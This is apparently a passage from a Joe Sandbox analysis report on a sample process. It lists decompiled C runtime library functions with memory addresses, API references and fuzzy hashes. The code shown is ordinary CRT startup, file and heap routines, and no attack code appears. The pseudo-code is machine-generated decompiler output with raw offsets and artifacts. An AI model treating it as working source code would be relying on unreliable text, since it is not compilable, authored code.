Executed
Not Executed

C-Code - Quality: 89%

			E00F2149C(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t16;
				intOrPtr _t19;
				intOrPtr _t29;
				void* _t32;

				_push(0xc);
				_push(0xf32170);
				E00F22400(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t32 - 0x1c)) = 0;
				if( *((intOrPtr*)(_t32 + 0x10)) == 0 ||  *((intOrPtr*)(_t32 + 0x14)) == 0) {
					L6:
					_t16 = 0;
				} else {
					_t31 =  *((intOrPtr*)(_t32 + 0x18));
					if( *((intOrPtr*)(_t32 + 0x18)) != 0) {
						E00F21F5E(_t31);
						 *((intOrPtr*)(_t32 - 4)) = 0;
						_t19 = E00F212BC( *((intOrPtr*)(_t32 + 8)),  *((intOrPtr*)(_t32 + 0xc)),  *((intOrPtr*)(_t32 + 0x10)),  *((intOrPtr*)(_t32 + 0x14)), _t31); // executed
						_t29 = _t19;
						 *((intOrPtr*)(_t32 - 0x1c)) = _t29;
						 *((intOrPtr*)(_t32 - 4)) = 0xfffffffe;
						E00F21525(_t31);
						_t16 = _t29;
					} else {
						if( *((intOrPtr*)(_t32 + 0xc)) != 0xffffffff) {
							E00F21530( *((intOrPtr*)(_t32 + 8)), 0,  *((intOrPtr*)(_t32 + 0xc)));
						}
						 *((intOrPtr*)(E00F21CC3())) = 0x16;
						E00F21E89();
						goto L6;
					}
				}
				return E00F22445(_t16);
			}

0x00f2149c
0x00f2149e
0x00f214a3
0x00f214aa
0x00f214b0
0x00f214e3
0x00f214e3
0x00f214b7
0x00f214b7
0x00f214bc
0x00f214ec
0x00f214f2
0x00f21502
0x00f2150a
0x00f2150c
0x00f2150f
0x00f21516
0x00f2151b
0x00f214be
0x00f214c2
0x00f214cb
0x00f214d0
0x00f214d8
0x00f214de
0x00000000
0x00f214de
0x00f214bc
0x00f214ea

APIs

_memset.LIBCMT ref: 00F214CB
__lock_file.LIBCMT ref: 00F214EC

Memory Dump Source

Source File: 00000005.00000002.979338255.0000000000F21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000005.00000002.979331640.0000000000F20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.979347417.0000000000F2E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.979353887.0000000000F33000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.979359821.0000000000F37000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f20000_bmexo.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: 73b7314e4f5ddd45c35979ff5c9e79c312f3cd16fa35a07df943c92d2a174f21
Instruction ID: a4ea232022add98293206a4766ec40df1d40f51e18e540c309fbbf64920bff20
Opcode Fuzzy Hash: 73b7314e4f5ddd45c35979ff5c9e79c312f3cd16fa35a07df943c92d2a174f21
Instruction Fuzzy Hash: 88017131C00228ABCF22FFA5BC0699F7A61BFA1320F148115F82856161D7798A21FB95

Uniqueness

Uniqueness Score: -1.00%

Function 00F211DD Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 25%

			E00F211DD(intOrPtr _a4, intOrPtr _a8) {
				void* __ebp;
				void* _t3;
				void* _t4;
				void* _t5;
				void* _t6;
				void* _t9;

				_push(0x40);
				_push(_a8);
				_push(_a4);
				_t3 = E00F211F2(_t4, _t5, _t6, _t9); // executed
				return _t3;
			}

0x00f211e0
0x00f211e2
0x00f211e5
0x00f211e8
0x00f211f1

APIs

__wfsopen.LIBCMT ref: 00F211E8

Memory Dump Source

Source File: 00000005.00000002.979338255.0000000000F21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000005.00000002.979331640.0000000000F20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.979347417.0000000000F2E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.979353887.0000000000F33000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.979359821.0000000000F37000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f20000_bmexo.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: df102c888022a9d274b7e57d92e75bebc0ebeaa016ec37f2f3530d1948784acb
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: B6B0927244021C77CE012E82EC02A493B1EAB60660F008020FB0C18171E67BE670A6C9

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00F243CC Relevance: 3.0, APIs: 2, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00F243CC(struct _EXCEPTION_POINTERS* _a4) {

				SetUnhandledExceptionFilter(0);
				return UnhandledExceptionFilter(_a4);
			}

0x00f243d1
0x00f243e1

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00F243D1
UnhandledExceptionFilter.KERNEL32(?), ref: 00F243DA

Memory Dump Source

Source File: 00000005.00000002.979338255.0000000000F21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000005.00000002.979331640.0000000000F20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.979347417.0000000000F2E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.979353887.0000000000F33000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.979359821.0000000000F37000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f20000_bmexo.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 8e4da8b66900af92ec3077b53a1111735cc3924cc4ae25843c4cc3fdbb422a1f
Instruction ID: 8bf6c868a2ec8fe44b6e38d0ba6408ece2b02c76f23bc02e1f27048379ec848c
Opcode Fuzzy Hash: 8e4da8b66900af92ec3077b53a1111735cc3924cc4ae25843c4cc3fdbb422a1f
Instruction Fuzzy Hash: 44B0923504420CABCB102B91EC0EB483F28EB14752F100420FA0D440608B725422AA92

Uniqueness

Uniqueness Score: -1.00%

Function 00F2439B Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F2439B(_Unknown_base(*)()* _a4) {

				return SetUnhandledExceptionFilter(_a4);
			}

0x00f243a8

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00F243A1

Memory Dump Source

Source File: 00000005.00000002.979338255.0000000000F21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000005.00000002.979331640.0000000000F20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.979347417.0000000000F2E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.979353887.0000000000F33000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.979359821.0000000000F37000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f20000_bmexo.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 524f178d1d168c7776b865635a2ffeca1aeb4b5de449437ab329802d5afe3588
Instruction ID: 583cd3ee69341acc83d8dfcbf9764f89d97bc1ec3815e905c9222b5f099dbcf9
Opcode Fuzzy Hash: 524f178d1d168c7776b865635a2ffeca1aeb4b5de449437ab329802d5afe3588
Instruction Fuzzy Hash: EEA0113000020CAB8A002B82EC0A8883F2CEB002A0B000020F80C000208B32A822AA82

Uniqueness

Uniqueness Score: -1.00%

Function 00160A2C Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.979087445.0000000000160000.00000040.00001000.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_160000_bmexo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b69271ece767db0df3bd79ea24b885f0a386d22ec4868d9885c5a4a7ad9c1c4f
Instruction ID: ac190ed5d66fb63fd26bcc63697603389345e1dac989897d789c076448ddbc5a
Opcode Fuzzy Hash: b69271ece767db0df3bd79ea24b885f0a386d22ec4868d9885c5a4a7ad9c1c4f
Instruction Fuzzy Hash: BFA1041485D2DDADCB06CBF981507FCBFB05E2A102F4845C6E4E5A6283C53A938EDB21

Uniqueness

Uniqueness Score: -1.00%

Function 00F238A8 Relevance: 12.2, APIs: 8, Instructions: 229
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00F238A8(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int _t82;
				signed int _t86;
				long _t90;
				void* _t91;
				signed int _t94;
				signed int _t98;
				signed int _t99;
				signed char _t103;
				signed int _t105;
				intOrPtr _t106;
				intOrPtr* _t109;
				signed char _t111;
				long _t119;
				intOrPtr _t129;
				signed int _t133;
				void* _t135;
				signed int _t138;
				void** _t139;
				signed int _t141;
				signed int _t142;
				signed int _t143;
				signed int _t147;
				signed int _t149;
				void* _t150;
				signed int _t154;
				void* _t155;
				void* _t156;

				_push(0x64);
				_push(0xf32260);
				E00F22400(__ebx, __edi, __esi);
				E00F2442F(0xb);
				 *((intOrPtr*)(_t155 - 4)) = 0;
				_push(0x40);
				_t141 = 0x20;
				_push(_t141);
				_t82 = E00F24869();
				_t133 = _t82;
				 *(_t155 - 0x24) = _t133;
				if(_t133 != 0) {
					 *0xf34848 = _t82;
					 *0xf350e4 = _t141;
					while(1) {
						__eflags = _t133 - 0x800 + _t82;
						if(_t133 >= 0x800 + _t82) {
							break;
						}
						 *((short*)(_t133 + 4)) = 0xa00;
						 *_t133 =  *_t133 | 0xffffffff;
						 *((intOrPtr*)(_t133 + 8)) = 0;
						 *(_t133 + 0x24) =  *(_t133 + 0x24) & 0x00000080;
						 *(_t133 + 0x24) =  *(_t133 + 0x24) & 0x0000007f;
						 *((short*)(_t133 + 0x25)) = 0xa0a;
						 *((intOrPtr*)(_t133 + 0x38)) = 0;
						 *((char*)(_t133 + 0x34)) = 0;
						_t133 = _t133 + 0x40;
						 *(_t155 - 0x24) = _t133;
						_t82 =  *0xf34848; // 0x77f230
					}
					GetStartupInfoW(_t155 - 0x74);
					__eflags =  *((short*)(_t155 - 0x42));
					if( *((short*)(_t155 - 0x42)) == 0) {
						L27:
						_t129 = 0xfffffffe;
						L28:
						_t142 = 0;
						__eflags = 0;
						while(1) {
							 *(_t155 - 0x2c) = _t142;
							__eflags = _t142 - 3;
							if(_t142 >= 3) {
								break;
							}
							_t147 = (_t142 << 6) +  *0xf34848;
							 *(_t155 - 0x24) = _t147;
							__eflags =  *_t147 - 0xffffffff;
							if( *_t147 == 0xffffffff) {
								L33:
								 *(_t147 + 4) = 0x81;
								__eflags = _t142;
								if(_t142 != 0) {
									_t65 = _t142 - 1; // -1
									asm("sbb eax, eax");
									_t90 =  ~_t65 + 0xfffffff5;
									__eflags = _t90;
								} else {
									_t90 = 0xfffffff6;
								}
								_t91 = GetStdHandle(_t90);
								 *(_t155 - 0x1c) = _t91;
								__eflags = _t91 - 0xffffffff;
								if(_t91 == 0xffffffff) {
									L45:
									 *(_t147 + 4) =  *(_t147 + 4) | 0x00000040;
									 *_t147 = _t129;
									_t94 =  *0xf36100;
									__eflags = _t94;
									if(_t94 != 0) {
										 *((intOrPtr*)( *((intOrPtr*)(_t94 + _t142 * 4)) + 0x10)) = _t129;
									}
									goto L47;
								} else {
									__eflags = _t91;
									if(_t91 == 0) {
										goto L45;
									}
									_t98 = GetFileType(_t91);
									__eflags = _t98;
									if(_t98 == 0) {
										goto L45;
									}
									 *_t147 =  *(_t155 - 0x1c);
									_t99 = _t98 & 0x000000ff;
									__eflags = _t99 - 2;
									if(_t99 != 2) {
										__eflags = _t99 - 3;
										if(_t99 != 3) {
											L44:
											_t71 = _t147 + 0xc; // -15943740
											E00F240A2(_t71, 0xfa0, 0);
											_t156 = _t156 + 0xc;
											 *((intOrPtr*)(_t147 + 8)) =  *((intOrPtr*)(_t147 + 8)) + 1;
											L47:
											_t142 = _t142 + 1;
											continue;
										}
										_t103 =  *(_t147 + 4) | 0x00000008;
										__eflags = _t103;
										L43:
										 *(_t147 + 4) = _t103;
										goto L44;
									}
									_t103 =  *(_t147 + 4) | 0x00000040;
									goto L43;
								}
							}
							__eflags =  *_t147 - _t129;
							if( *_t147 == _t129) {
								goto L33;
							}
							 *(_t147 + 4) =  *(_t147 + 4) | 0x00000080;
							goto L47;
						}
						 *((intOrPtr*)(_t155 - 4)) = _t129;
						E00F23B53();
						_t86 = 0;
						__eflags = 0;
						L49:
						return E00F22445(_t86);
					}
					_t105 =  *(_t155 - 0x40);
					__eflags = _t105;
					if(_t105 == 0) {
						goto L27;
					}
					_t135 =  *_t105;
					 *(_t155 - 0x1c) = _t135;
					_t106 = _t105 + 4;
					 *((intOrPtr*)(_t155 - 0x28)) = _t106;
					 *(_t155 - 0x20) = _t106 + _t135;
					__eflags = _t135 - 0x800;
					if(_t135 >= 0x800) {
						_t135 = 0x800;
						 *(_t155 - 0x1c) = 0x800;
					}
					_t149 = 1;
					__eflags = 1;
					 *(_t155 - 0x30) = 1;
					while(1) {
						__eflags =  *0xf350e4 - _t135; // 0x20
						if(__eflags >= 0) {
							break;
						}
						_t138 = E00F24869(_t141, 0x40);
						 *(_t155 - 0x24) = _t138;
						__eflags = _t138;
						if(_t138 != 0) {
							0xf34848[_t149] = _t138;
							 *0xf350e4 =  *0xf350e4 + _t141;
							__eflags =  *0xf350e4;
							while(1) {
								__eflags = _t138 - 0x800 + 0xf34848[_t149];
								if(_t138 >= 0x800 + 0xf34848[_t149]) {
									break;
								}
								 *((short*)(_t138 + 4)) = 0xa00;
								 *_t138 =  *_t138 | 0xffffffff;
								 *((intOrPtr*)(_t138 + 8)) = 0;
								 *(_t138 + 0x24) =  *(_t138 + 0x24) & 0x00000080;
								 *((short*)(_t138 + 0x25)) = 0xa0a;
								 *((intOrPtr*)(_t138 + 0x38)) = 0;
								 *((char*)(_t138 + 0x34)) = 0;
								_t138 = _t138 + 0x40;
								 *(_t155 - 0x24) = _t138;
							}
							_t149 = _t149 + 1;
							 *(_t155 - 0x30) = _t149;
							_t135 =  *(_t155 - 0x1c);
							continue;
						}
						_t135 =  *0xf350e4; // 0x20
						 *(_t155 - 0x1c) = _t135;
						break;
					}
					_t143 = 0;
					 *(_t155 - 0x2c) = 0;
					_t129 = 0xfffffffe;
					_t109 =  *((intOrPtr*)(_t155 - 0x28));
					_t139 =  *(_t155 - 0x20);
					while(1) {
						__eflags = _t143 - _t135;
						if(_t143 >= _t135) {
							goto L28;
						}
						_t150 =  *_t139;
						__eflags = _t150 - 0xffffffff;
						if(_t150 == 0xffffffff) {
							L22:
							_t143 = _t143 + 1;
							 *(_t155 - 0x2c) = _t143;
							_t109 =  *((intOrPtr*)(_t155 - 0x28)) + 1;
							 *((intOrPtr*)(_t155 - 0x28)) = _t109;
							_t139 =  &(_t139[1]);
							 *(_t155 - 0x20) = _t139;
							continue;
						}
						__eflags = _t150 - _t129;
						if(_t150 == _t129) {
							goto L22;
						}
						_t111 =  *_t109;
						__eflags = _t111 & 0x00000001;
						if((_t111 & 0x00000001) == 0) {
							goto L22;
						}
						__eflags = _t111 & 0x00000008;
						if((_t111 & 0x00000008) != 0) {
							L20:
							_t154 = ((_t143 & 0x0000001f) << 6) + 0xf34848[_t143 >> 5];
							 *(_t155 - 0x24) = _t154;
							 *_t154 =  *_t139;
							 *((char*)(_t154 + 4)) =  *((intOrPtr*)( *((intOrPtr*)(_t155 - 0x28))));
							_t37 = _t154 + 0xc; // 0xd
							E00F240A2(_t37, 0xfa0, 0);
							_t156 = _t156 + 0xc;
							_t38 = _t154 + 8;
							 *_t38 =  *(_t154 + 8) + 1;
							__eflags =  *_t38;
							_t139 =  *(_t155 - 0x20);
							L21:
							_t135 =  *(_t155 - 0x1c);
							goto L22;
						}
						_t119 = GetFileType(_t150);
						_t139 =  *(_t155 - 0x20);
						__eflags = _t119;
						if(_t119 == 0) {
							goto L21;
						}
						goto L20;
					}
					goto L28;
				}
				_t86 = E00F22600(_t155, 0xf33400, _t155 - 0x10, 0xfffffffe) | 0xffffffff;
				goto L49;
			}

0x00f238a8
0x00f238aa
0x00f238af
0x00f238b6
0x00f238be
0x00f238c1
0x00f238c5
0x00f238c6
0x00f238c7
0x00f238ce
0x00f238d0
0x00f238d5
0x00f238f2
0x00f238f7
0x00f238fd
0x00f23902
0x00f23904
0x00000000
0x00000000
0x00f23906
0x00f2390c
0x00f2390f
0x00f23912
0x00f2391b
0x00f2391e
0x00f23924
0x00f23927
0x00f2392a
0x00f2392d
0x00f23930
0x00f23930
0x00f2393b
0x00f23941
0x00f23946
0x00f23a7b
0x00f23a7d
0x00f23a7e
0x00f23a7e
0x00f23a7e
0x00f23a80
0x00f23a80
0x00f23a83
0x00f23a86
0x00000000
0x00000000
0x00f23a91
0x00f23a97
0x00f23a9a
0x00f23a9d
0x00f23ab1
0x00f23ab1
0x00f23ab5
0x00f23ab7
0x00f23abe
0x00f23ac3
0x00f23ac5
0x00f23ac5
0x00f23ab9
0x00f23abb
0x00f23abb
0x00f23ac9
0x00f23acf
0x00f23ad2
0x00f23ad5
0x00f23b23
0x00f23b29
0x00f23b2c
0x00f23b2e
0x00f23b33
0x00f23b35
0x00f23b3a
0x00f23b3a
0x00000000
0x00f23ad7
0x00f23ad7
0x00f23ad9
0x00000000
0x00000000
0x00f23adc
0x00f23ae2
0x00f23ae4
0x00000000
0x00000000
0x00f23ae9
0x00f23aeb
0x00f23af0
0x00f23af3
0x00f23afd
0x00f23b00
0x00f23b0b
0x00f23b12
0x00f23b16
0x00f23b1b
0x00f23b1e
0x00f23b3d
0x00f23b3d
0x00000000
0x00f23b3d
0x00f23b06
0x00f23b06
0x00f23b08
0x00f23b08
0x00000000
0x00f23b08
0x00f23af9
0x00000000
0x00f23af9
0x00f23ad5
0x00f23a9f
0x00f23aa1
0x00000000
0x00000000
0x00f23aa9
0x00000000
0x00f23aa9
0x00f23b43
0x00f23b46
0x00f23b4b
0x00f23b4b
0x00f23b4d
0x00f23b52
0x00f23b52
0x00f2394c
0x00f2394f
0x00f23951
0x00000000
0x00000000
0x00f23957
0x00f23959
0x00f2395c
0x00f2395f
0x00f23964
0x00f2396c
0x00f2396e
0x00f23970
0x00f23972
0x00f23972
0x00f23977
0x00f23977
0x00f23978
0x00f2397b
0x00f2397b
0x00f23981
0x00000000
0x00000000
0x00f2398d
0x00f2398f
0x00f23992
0x00f23994
0x00f23a2e
0x00f23a35
0x00f23a35
0x00f23a3b
0x00f23a47
0x00f23a49
0x00000000
0x00000000
0x00f23a4b
0x00f23a51
0x00f23a54
0x00f23a57
0x00f23a5b
0x00f23a61
0x00f23a64
0x00f23a67
0x00f23a6a
0x00f23a6a
0x00f23a6f
0x00f23a70
0x00f23a73
0x00000000
0x00f23a73
0x00f2399a
0x00f239a0
0x00000000
0x00f239a0
0x00f239a3
0x00f239a5
0x00f239aa
0x00f239ab
0x00f239ae
0x00f239b1
0x00f239b1
0x00f239b3
0x00000000
0x00000000
0x00f239b9
0x00f239bb
0x00f239be
0x00f23a1b
0x00f23a1b
0x00f23a1c
0x00f23a22
0x00f23a23
0x00f23a26
0x00f23a29
0x00000000
0x00f23a29
0x00f239c0
0x00f239c2
0x00000000
0x00000000
0x00f239c4
0x00f239c6
0x00f239c8
0x00000000
0x00000000
0x00f239ca
0x00f239cc
0x00f239dc
0x00f239e9
0x00f239f0
0x00f239f5
0x00f239fc
0x00f23a06
0x00f23a0a
0x00f23a0f
0x00f23a12
0x00f23a12
0x00f23a12
0x00f23a15
0x00f23a18
0x00f23a18
0x00000000
0x00f23a18
0x00f239cf
0x00f239d5
0x00f239d8
0x00f239da
0x00000000
0x00000000
0x00000000
0x00f239da
0x00000000
0x00f239b1
0x00f238ea
0x00000000

APIs

__lock.LIBCMT ref: 00F238B6

Part of subcall function 00F2442F: __mtinitlocknum.LIBCMT ref: 00F24441
Part of subcall function 00F2442F: EnterCriticalSection.KERNEL32(00000000,?,00F237AB,0000000D), ref: 00F2445A

__calloc_crt.LIBCMT ref: 00F238C7

Part of subcall function 00F24869: __calloc_impl.LIBCMT ref: 00F24878

@_EH4_CallFilterFunc@8.LIBCMT ref: 00F238E2
GetStartupInfoW.KERNEL32(?,00F32260,00000064,00F21654,00F32190,00000014), ref: 00F2393B
__calloc_crt.LIBCMT ref: 00F23986
GetFileType.KERNEL32 ref: 00F239CF

Memory Dump Source

Source File: 00000005.00000002.979338255.0000000000F21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000005.00000002.979331640.0000000000F20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.979347417.0000000000F2E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.979353887.0000000000F33000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.979359821.0000000000F37000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f20000_bmexo.jbxd

Similarity

API ID: __calloc_crt$CallCriticalEnterFileFilterFunc@8InfoSectionStartupType__calloc_impl__lock__mtinitlocknum
String ID:
API String ID: 2772871689-0
Opcode ID: f9df9586100333055fbc5648f6e36e04d5aa3fcaae10efe38433ebe85814fd2c
Instruction ID: dd4e4a338abbaec1797c91964a1c9e8e708664458bfbc02cccb88bade7aa4ab6
Opcode Fuzzy Hash: f9df9586100333055fbc5648f6e36e04d5aa3fcaae10efe38433ebe85814fd2c
Instruction Fuzzy Hash: 4881E5B1D052658FCB14CF68E8416A9BBF0AF45320B24426ED4A6AB3D1C73CE943EB50

Uniqueness

Uniqueness Score: -1.00%

Function 00F23815 Relevance: 10.5, APIs: 7, Instructions: 45
threadCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00F23815(void* __ebx, void* __edi, void* __eflags) {
				void* __esi;
				void* _t3;
				intOrPtr _t6;
				long _t14;
				long* _t27;

				E00F21890(_t3);
				if(E00F24560() != 0) {
					_t6 = E00F24001(E00F235A6);
					 *0xf3350c = _t6;
					__eflags = _t6 - 0xffffffff;
					if(_t6 == 0xffffffff) {
						goto L1;
					} else {
						_t27 = E00F24869(1, 0x3bc);
						__eflags = _t27;
						if(_t27 == 0) {
							L6:
							E00F2388B();
							__eflags = 0;
							return 0;
						} else {
							__eflags = E00F2405D( *0xf3350c, _t27);
							if(__eflags == 0) {
								goto L6;
							} else {
								_push(0);
								_push(_t27);
								E00F23762(__ebx, __edi, _t27, __eflags);
								_t14 = GetCurrentThreadId();
								_t27[1] = _t27[1] | 0xffffffff;
								 *_t27 = _t14;
								__eflags = 1;
								return 1;
							}
						}
					}
				} else {
					L1:
					E00F2388B();
					return 0;
				}
			}

0x00f23815
0x00f23821
0x00f23830
0x00f23835
0x00f2383b
0x00f2383e
0x00000000
0x00f23840
0x00f2384d
0x00f23851
0x00f23853
0x00f23882
0x00f23882
0x00f23887
0x00f2388a
0x00f23855
0x00f23863
0x00f23865
0x00000000
0x00f23867
0x00f23867
0x00f23869
0x00f2386a
0x00f23871
0x00f23877
0x00f2387b
0x00f2387f
0x00f23881
0x00f23881
0x00f23865
0x00f23853
0x00f23823
0x00f23823
0x00f23823
0x00f2382a
0x00f2382a

APIs

__init_pointers.LIBCMT ref: 00F23815

Part of subcall function 00F21890: RtlEncodePointer.NTDLL(00000000,?,00F2381A,00F2163A,00F32190,00000014), ref: 00F21893
Part of subcall function 00F21890: __initp_misc_winsig.LIBCMT ref: 00F218AE
Part of subcall function 00F21890: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00F24117
Part of subcall function 00F21890: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00F2412B
Part of subcall function 00F21890: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00F2413E
Part of subcall function 00F21890: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00F24151
Part of subcall function 00F21890: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00F24164
Part of subcall function 00F21890: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00F24177
Part of subcall function 00F21890: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00F2418A
Part of subcall function 00F21890: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00F2419D
Part of subcall function 00F21890: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 00F241B0
Part of subcall function 00F21890: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00F241C3
Part of subcall function 00F21890: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00F241D6
Part of subcall function 00F21890: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00F241E9
Part of subcall function 00F21890: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00F241FC
Part of subcall function 00F21890: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00F2420F
Part of subcall function 00F21890: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00F24222
Part of subcall function 00F21890: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00F24235

__mtinitlocks.LIBCMT ref: 00F2381A
__mtterm.LIBCMT ref: 00F23823

Part of subcall function 00F2388B: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00F23828,00F2163A,00F32190,00000014), ref: 00F2447A
Part of subcall function 00F2388B: _free.LIBCMT ref: 00F24481
Part of subcall function 00F2388B: DeleteCriticalSection.KERNEL32(00F33558,?,?,00F23828,00F2163A,00F32190,00000014), ref: 00F244A3

__calloc_crt.LIBCMT ref: 00F23848
__initptd.LIBCMT ref: 00F2386A
GetCurrentThreadId.KERNEL32(00F2163A,00F32190,00000014), ref: 00F23871

Memory Dump Source

Source File: 00000005.00000002.979338255.0000000000F21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000005.00000002.979331640.0000000000F20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.979347417.0000000000F2E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.979353887.0000000000F33000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.979359821.0000000000F37000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f20000_bmexo.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: c974555283fb68ef14784e2c1a665f9af31bcb36b4191b2d3d5107b25cccfef2
Instruction ID: 53679f9e9f826de9714607a961869154b42b86f33cd884e755be5cba76d35680
Opcode Fuzzy Hash: c974555283fb68ef14784e2c1a665f9af31bcb36b4191b2d3d5107b25cccfef2
Instruction Fuzzy Hash: 07F090B391923659E679B7787C036CA3A84CF01730B24862EF464DC0D2FF5DDA817A91

Uniqueness

Uniqueness Score: -1.00%

Function 00F27452 Relevance: 7.6, APIs: 5, Instructions: 67
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E00F27452(void* __ebx, void* __edx, void* __edi, void* _a4, long _a8) {
				void* _t7;
				void* _t8;
				intOrPtr* _t9;
				intOrPtr* _t12;
				void* _t20;
				long _t31;

				if(_a4 != 0) {
					_t31 = _a8;
					if(_t31 != 0) {
						_push(__ebx);
						while(_t31 <= 0xffffffe0) {
							if(_t31 == 0) {
								_t31 = _t31 + 1;
							}
							_t7 = HeapReAlloc( *0xf34834, 0, _a4, _t31);
							_t20 = _t7;
							if(_t20 != 0) {
								L17:
								_t8 = _t20;
							} else {
								if( *0xf34830 == _t7) {
									_t9 = E00F21CC3();
									 *_t9 = E00F21CD6(GetLastError());
									goto L17;
								} else {
									if(E00F21741(_t7, _t31) == 0) {
										_t12 = E00F21CC3();
										 *_t12 = E00F21CD6(GetLastError());
										L12:
										_t8 = 0;
									} else {
										continue;
									}
								}
							}
							goto L14;
						}
						E00F21741(_t6, _t31);
						 *((intOrPtr*)(E00F21CC3())) = 0xc;
						goto L12;
					} else {
						E00F24831(_a4);
						_t8 = 0;
					}
					L14:
					return _t8;
				} else {
					return E00F2114B(__ebx, __edx, __edi, _a8);
				}
			}

0x00f27459
0x00f27467
0x00f2746c
0x00f2747b
0x00f274ae
0x00f27480
0x00f27482
0x00f27482
0x00f2748f
0x00f27495
0x00f27499
0x00f274f9
0x00f274f9
0x00f2749b
0x00f274a1
0x00f274e3
0x00f274f7
0x00000000
0x00f274a3
0x00f274ac
0x00f274cb
0x00f274df
0x00f274c5
0x00f274c5
0x00000000
0x00000000
0x00000000
0x00f274ac
0x00f274a1
0x00000000
0x00f274c7
0x00f274b4
0x00f274bf
0x00000000
0x00f2746e
0x00f27471
0x00f27477
0x00f27477
0x00f274c8
0x00f274ca
0x00f2745b
0x00f27465
0x00f27465

APIs

_malloc.LIBCMT ref: 00F2745E

